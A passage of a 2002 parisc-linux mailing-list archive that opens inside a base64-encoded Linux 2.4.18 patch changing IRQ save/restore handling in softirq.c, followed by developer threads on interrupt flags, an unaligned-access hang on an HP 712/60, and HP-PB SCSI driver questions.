RVRFQ1QpIHsKQEAgLTk2Myw3ICs5NzksOCBAQAogCQkJZGVzYy0+c3RhdHVzID0gc3RhdHVzICYg
fklSUV9BVVRPREVURUNUOwogCQkJZGVzYy0+aGFuZGxlci0+c2h1dGRvd24oaSk7CiAJCX0KLQkJ
c3Bpbl91bmxvY2tfaXJxKCZkZXNjLT5sb2NrKTsKKwkJc3Bpbl91bmxvY2tfaXJxcmVzdG9yZSgm
ZGVzYy0+bG9jayxmbGFncyk7CisvKiBNU1oJCXNwaW5fdW5sb2NrX2lycSgmZGVzYy0+bG9jayk7
ICovCiAJfQogCXVwKCZwcm9iZV9zZW0pOwogCgo=

--------------Boundary-00=_48ILNKL7Q657NL4ICRPL
Content-Type: text/x-c;
  charset="iso-8859-1";
  name="softirq.c.diff"
Content-Transfer-Encoding: base64
Content-Description: generic, don't presume IRQ state
Content-Disposition: attachment; filename="softirq.c.diff"

LS0tIGxpbnV4LTIuNC4xOC9rZXJuZWwvc29mdGlycS5jLnJtbAlUdWUgSnVuIDExIDIwOjI0OjI0
IDIwMDIKKysrIGxpbnV4LTIuNC4xOC9rZXJuZWwvc29mdGlycS5jCVR1ZSBKdW4gMTEgMjA6NTA6
MzggMjAwMgpAQCAtMTc3LDExICsxNzcsMTQgQEAKIHsKIAlpbnQgY3B1ID0gc21wX3Byb2Nlc3Nv
cl9pZCgpOwogCXN0cnVjdCB0YXNrbGV0X3N0cnVjdCAqbGlzdDsKKwl1bnNpZ25lZCBsb25nIGZs
YWdzOyAgLyogRG9uJ3QgcHJlc3VtZSBpbnRlcnJ1cHQgc3RhdGUgKi8KIAotCWxvY2FsX2lycV9k
aXNhYmxlKCk7CisJbG9jYWxfaXJxX3NhdmUoZmxhZ3MpOyAgLyogTVNaICovCisvKiBNU1oJbG9j
YWxfaXJxX2Rpc2FibGUoKTsgKi8KIAlsaXN0ID0gdGFza2xldF92ZWNbY3B1XS5saXN0OwogCXRh
c2tsZXRfdmVjW2NwdV0ubGlzdCA9IE5VTEw7Ci0JbG9jYWxfaXJxX2VuYWJsZSgpOworCWxvY2Fs
X2lycV9yZXN0b3JlKGZsYWdzKTsgLyogTVNaICovCisvKiBNU1oJbG9jYWxfaXJxX2VuYWJsZSgp
OyAgKi8KIAogCXdoaWxlIChsaXN0KSB7CiAJCXN0cnVjdCB0YXNrbGV0X3N0cnVjdCAqdCA9IGxp
c3Q7CkBAIC0xOTksMTEgKzIwMiwxMyBAQAogCQkJdGFza2xldF91bmxvY2sodCk7CiAJCX0KIAot
CQlsb2NhbF9pcnFfZGlzYWJsZSgpOworCQlsb2NhbF9pcnFfc2F2ZShmbGFncyk7ICAvKiBNU1og
Ki8KKy8qIE1TWgkJbG9jYWxfaXJxX2Rpc2FibGUoKTsgKi8KIAkJdC0+bmV4dCA9IHRhc2tsZXRf
dmVjW2NwdV0ubGlzdDsKIAkJdGFza2xldF92ZWNbY3B1XS5saXN0ID0gdDsKIAkJX19jcHVfcmFp
c2Vfc29mdGlycShjcHUsIFRBU0tMRVRfU09GVElSUSk7Ci0JCWxvY2FsX2lycV9lbmFibGUoKTsK
KwkJbG9jYWxfaXJxX3Jlc3RvcmUoZmxhZ3MpOyAvKiBNU1ogKi8KKy8qIE1TWgkJbG9jYWxfaXJx
X2VuYWJsZSgpOyAgKi8KIAl9CiB9CiAKQEAgLTIxMSwxMSArMjE2LDE0IEBACiB7CiAJaW50IGNw
dSA9IHNtcF9wcm9jZXNzb3JfaWQoKTsKIAlzdHJ1Y3QgdGFza2xldF9zdHJ1Y3QgKmxpc3Q7CisJ
dW5zaWduZWQgbG9uZyBmbGFnczsgIC8qIERvbid0IHByZXN1bWUgaW50ZXJydXB0IHN0YXRlICov
CiAKLQlsb2NhbF9pcnFfZGlzYWJsZSgpOworCWxvY2FsX2lycV9zYXZlKGZsYWdzKTsgIC8qIE1T
WiAqLworLyogTVNaCWxvY2FsX2lycV9kaXNhYmxlKCk7ICovCiAJbGlzdCA9IHRhc2tsZXRfaGlf
dmVjW2NwdV0ubGlzdDsKIAl0YXNrbGV0X2hpX3ZlY1tjcHVdLmxpc3QgPSBOVUxMOwotCWxvY2Fs
X2lycV9lbmFibGUoKTsKKwlsb2NhbF9pcnFfcmVzdG9yZShmbGFncyk7IC8qIE1TWiAqLworLyog
TVNaCWxvY2FsX2lycV9lbmFibGUoKTsgKi8KIAogCXdoaWxlIChsaXN0KSB7CiAJCXN0cnVjdCB0
YXNrbGV0X3N0cnVjdCAqdCA9IGxpc3Q7CkBAIC0yMzMsMTEgKzI0MSwxMyBAQAogCQkJdGFza2xl
dF91bmxvY2sodCk7CiAJCX0KIAotCQlsb2NhbF9pcnFfZGlzYWJsZSgpOworCQlsb2NhbF9pcnFf
c2F2ZShmbGFncyk7ICAvKiBNU1ogKi8KKy8qIE1TWgkJbG9jYWxfaXJxX2Rpc2FibGUoKTsgKi8K
IAkJdC0+bmV4dCA9IHRhc2tsZXRfaGlfdmVjW2NwdV0ubGlzdDsKIAkJdGFza2xldF9oaV92ZWNb
Y3B1XS5saXN0ID0gdDsKIAkJX19jcHVfcmFpc2Vfc29mdGlycShjcHUsIEhJX1NPRlRJUlEpOwot
CQlsb2NhbF9pcnFfZW5hYmxlKCk7CisJCWxvY2FsX2lycV9yZXN0b3JlKGZsYWdzKTsgLyogTVNa
ICovCisvKiBNU1oJCWxvY2FsX2lycV9lbmFibGUoKTsgKi8KIAl9CiB9CiAKCg==

--------------Boundary-00=_48ILNKL7Q657NL4ICRPL--



From - Thu Nov 08 21:23:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18-pa35 SMP process hangs on a J200
Date: Wed, 12 Jun 2002 15:11:30 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <20020612151130.U27449@parcelfarce.linux.theplanet.co.uk>
References: <5BA66B90-7D12-11D6-B01F-0030656F07A2@esiee.fr> <02061107100403.00732@localhost.localdomain> <20020611145848.GA2796@tausq.org> <02061113393800.04435@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621391 8965 80.91.229.3 (22 Nov 2014 01:56:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:31 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
To: "Michael S. Zick" <mszick@goquest.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 12 08:11:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E52DC4859
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Jun 2002 08:11:32 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17I8qQ-0001yO-00; Wed, 12 Jun 2002 15:11:30 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <02061113393800.04435@localhost.localdomain>; from mszick@goquest.com on Tue, Jun 11, 2002 at 01:39:38PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15082

On Tue, Jun 11, 2002 at 01:39:38PM -0500, Michael S. Zick wrote:
> using objdump -d on the kernel.o produced by my compiler
> (a different version of GCC than used for pa-risc) I find that
> for the "c" code sequence:
> ....
> int cpu = smp_processor_id() ;
> 
> __save_flags(flags) ;
> ....
> generates assembly code which modifies the flags during the
> initialization of "cpu" before the flags are actually saved.

are you sure?  every architecture (apart from sparc32) uses:

#define smp_processor_id() (current->processor)

admittedly on i386 (which is where you seem to be investigating), this
expands to:

get_current()->processor

which expands to

andl %%esp,%0

where 8191UL has previously been loaded into register %0.  but i don't
see how this can affect the interrupt flags.  admittedly, i know very
little about x86, but there are many other instances of code like this
in the kernel.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:23:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin =?iso-8859-15?q?K=FCchler?= <martin@k0k.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] tst unaligned access
Date: Wed, 12 Jun 2002 22:22:35 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <200206122222.35054.martin@mail.k0k.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621391 8968 80.91.229.3 (22 Nov 2014 01:56:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 12 14:25:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from nimes8.k0k.net (AMontpellier-203-1-2-94.abo.wanadoo.fr [80.14.10.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id BA35A482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Jun 2002 14:24:58 -0600 (MDT)
Original-Received: from humus (martin@martin.k0k.net [192.168.1.1])
	by nimes8.k0k.net (8.12.3/8.12.3/Debian -4) with ESMTP id g5CKOsGC000735
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Jun 2002 22:24:55 +0200
User-Agent: KMail/1.4.1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15083

Hello,

After a successful uptime of about a month, I could not log in to my 712/60 
any longer. I found the following error message at the console: 

tst(11624): unaligned access to 0xbff003d4 at ip=0x000105b3
Not-handled unaligned insn 0x2f401016
unaligned handler failed, ret = -1

I am not even sure if this is the cause of the login problem, but I found a 
description that was samewhat similar (but on a different machine):

http://lists.debian.org/debian-hppa/2001/debian-hppa-200109/msg00053.html

My problem was, everything was working fine (network, iptables with 
masquerading, server processes ...), but when I tried to log in he just 
wouldn't give me the shell (after the username/password I got the login 
message and nothing else). 

Even shutdown with the soft power switch didn't work, I had to pull the plug 
:-(
But now, after reboot everything seems to be fine ... 

What could this have been ? And what is this tst process ??

I have a 2.4.18-pa22 kernel,  iptables v1.2.6a.

Thanks,

Martin



From - Thu Nov 08 21:23:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] tst unaligned access
Date: Wed, 12 Jun 2002 13:43:02 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20020612204302.GC2796@tausq.org>
References: <200206122222.35054.martin@mail.k0k.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621391 8970 80.91.229.3 (22 Nov 2014 01:56:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Martin K?chler <martin@k0k.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 12 14:43:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.speakeasy.net (mail11.speakeasy.net [216.254.0.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4A3B3482E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Jun 2002 14:43:24 -0600 (MDT)
Original-Received: (qmail 19191 invoked from network); 12 Jun 2002 20:43:18 -0000
Original-Received: from unknown (HELO gandalf.tausq.org) ([64.81.244.94]) (envelope-sender <randolph@tausq.org>)
          by mail11.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <martin@k0k.net>; 12 Jun 2002 20:43:18 -0000
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.34 #1 (Debian))
	id 17IExM-0002g9-00; Wed, 12 Jun 2002 13:43:04 -0700
Content-Disposition: inline
In-Reply-To: <200206122222.35054.martin@mail.k0k.net>
User-Agent: Mutt/1.3.27i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15084

> tst(11624): unaligned access to 0xbff003d4 at ip=0x000105b3
> Not-handled unaligned insn 0x2f401016
> unaligned handler failed, ret = -1

that's fldd 0(sr0,r26),fr22 (thanks Richard!)... the unaligned handler
doesn't do floating point insns at the moment.

> What could this have been ? And what is this tst process ??
> 
> I have a 2.4.18-pa22 kernel,  iptables v1.2.6a.

try a newer kernel? there were some hanging process problems that were
fixed recently, though i think there are some other ones still there...

i have no idea what tst is though....

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:23:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI driver for E-class servers - SPIFI ?
Date: Wed, 12 Jun 2002 23:21:02 +0200
Organization: private
Lines: 41
Approved: news@gmane.org
Message-ID: <3D07BB3E.A896878A@gmx.at>
References: <3D050639.B9F9695D@gmx.at> <20020610215312.29D2C483A@dsl2.external.hp.com>  <3D053341.571CF331@gmx.at> <20020611213929.C75684854@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621392 8972 80.91.229.3 (22 Nov 2014 01:56:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:32 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 12 15:21:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep12-int.chello.at (viefep12-int.chello.at [213.46.255.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id AE97F4836
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Jun 2002 15:20:55 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep12-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020612212042.FWGC10704.viefep12-int.chello.at@gmx.at>;
          Wed, 12 Jun 2002 23:20:42 +0200
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15085

Sorry, that I am not so "deep" in the HP device knowledge, can you give
me sime hints !

HP-BP is this a HP bus system ?
Is this used in the E55 (or similar) ?
Is the "SE" SCSI that one in the E55 (what stands "SE" for) ?
What is SDTR ?

Sorry, but I am interested in that stuff, and I know, I can help after 
initial steps. Some weeks ago, I rewrote an ethernet driver of an
not-well known chip on an VAX termianl for VAX Linux. So after some
hacking days (or better nights), there will be real progress.

So I am interested in helping here. 

Sorry for this question again:
What is the status of the MUX. As far I can remember, you started to
write on this driver. Is this correct ?

Christoph



Grant Grundler wrote:
> 
> Christoph Plattner wrote:
> > http://cvsweb.netbsd.org/bsdweb.cgi/syssrc/sys/arch/newsmips/apbus/
> 
> This looks like it's the right driver for the HP-PB SE SCSI.
> I noticed that SDTR isn't supported.
> But it's a starting point.
> 
> grant

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:23:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI driver for E-class servers - SPIFI ?
Date: Wed, 12 Jun 2002 23:36:57 +0100 (IST)
Lines: 53
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0206122318230.3448-100000@sal.ucc.ie>
References: <3D07BB3E.A896878A@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621392 8974 80.91.229.3 (22 Nov 2014 01:56:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:32 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 12 16:37:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from interzone.ucc.ie (interzone.ucc.ie [143.239.1.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0CB594830
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Jun 2002 16:37:04 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by interzone.ucc.ie (8.9.3/8.9.3) with ESMTP id XAA20569;
	Wed, 12 Jun 2002 23:37:01 +0100 (BST)
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <3D07BB3E.A896878A@gmx.at>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15086

On Wed, 12 Jun 2002, Christoph Plattner wrote:

> Sorry, that I am not so "deep" in the HP device knowledge, can you give
> me sime hints !
>
> HP-BP is this a HP bus system ?

Yes, it's the HP Precision Bus (aka NIO). AFAIK it's mainly used in the
(very) old servers, like F10. I don't know what the current status of
support
is, but it used to be unsupported (no docu ?).

(hint: www.parisc-linux.org ->glossary, mailing list archive)

> Is this used in the E55 (or similar) ?

Yes. Although (regarding to www.openpa.net) something like a modified
version.

(hint: www.openpa.net, www.google.com, www.parisc-linux.org ->hardware
database)

> Is the "SE" SCSI that one in the E55 (what stands "SE" for) ?

SE stands for SingleEnded and reffers to how the SCSI device is connected
(signalling etc.). It's the "normal" SCSI (unlike LVD,
LowVoltageDifferential), used in SCSI-I and SCSI-II (narrow)

> What is SDTR ?

It's the signal send on the scsi bus to negotiate syncronous data
transfer (or asynchronous sent with a REQ/ACK) if they support it.

> Sorry, but I am interested in that stuff, and I know, I can help after
> initial steps. Some weeks ago, I rewrote an ethernet driver of an
> not-well known chip on an VAX termianl for VAX Linux. So after some
> hacking days (or better nights), there will be real progress.
>
> So I am interested in helping here.

nice :)

> Sorry for this question again:
> What is the status of the MUX. As far I can remember, you started to
> write on this driver. Is this correct ?

Perhaps s.o. can answer this question. AFAIK somebody is indeed writing
on it and has succeded to use the console port on the MUX.

geretings max




From - Thu Nov 08 21:23:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] tst unaligned access
Date: Thu, 13 Jun 2002 00:49:17 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <200206130049.17945.deller@gmx.de>
References: <200206122222.35054.martin@mail.k0k.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621392 8975 80.91.229.3 (22 Nov 2014 01:56:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:32 +0000 (UTC)
To: Martin =?iso-8859-1?q?K=FCchler?= <martin@k0k.net>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 12 16:50:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 90FCC4839
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Jun 2002 16:50:23 -0600 (MDT)
Original-Received: (qmail 7673 invoked by uid 0); 12 Jun 2002 22:50:20 -0000
Original-Received: from pd90403e5.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.3.229)
  by mail.gmx.net (mp015-rz3) with SMTP; 12 Jun 2002 22:50:20 -0000
User-Agent: KMail/1.4.5
In-Reply-To: <200206122222.35054.martin@mail.k0k.net>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15087

On Wednesday 12 June 2002 22:22, Martin Kchler wrote:
> After a successful uptime of about a month, I could not log in to my 712/60
> any longer. I found the following error message at the console:

Hi Martin,

FYI, I had similiar problems on a 715/50 in the past. It hung sometimes after one week
of uptime and it seemed to me as if the SCSI driver was unable to access the disc
and thus didn't gave me a login prompt or anything else.
After upgrading the kernel to the most recent one (>= 2.4.18-pa35) which has some
IRQ fixes in it , and which seems to cure the SCSI driver problems, the box now seems 
to work stable.
In case you update your kernel, could you please let us know if the box works stable for 
you too ?

Greetings,
Helge




From - Thu Nov 08 21:23:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI driver for E-class servers - SPIFI ?
Date: Wed, 12 Jun 2002 17:06:56 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20020612230656.DA703483F@dsl2.external.hp.com>
References: <3D050639.B9F9695D@gmx.at> <20020610215312.29D2C483A@dsl2.external.hp.com> <3D053341.571CF331@gmx.at> <20020611213929.C75684854@dsl2.external.hp.com>  <3D07BB3E.A896878A@gmx.at>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621393 8978 80.91.229.3 (22 Nov 2014 01:56:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:33 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 12 17:06:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id DA703483F; Wed, 12 Jun 2002 17:06:56 -0600 (MDT)
In-Reply-To: Message from Christoph Plattner <christoph.plattner@gmx.at> 
   of "Wed, 12 Jun 2002 23:21:02 +0200." <3D07BB3E.A896878A@gmx.at> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15088

Christoph Plattner wrote:
> HP-BP is this a HP bus system ?
> Is this used in the E55 (or similar) ?

yes. yes.

> Is the "SE" SCSI that one in the E55 (what stands "SE" for) ?
 
yes. "Single Ended".

> What is SDTR ?

Synchronous Data Transfer Rate.
See the SCSI spec for more detail.

grant



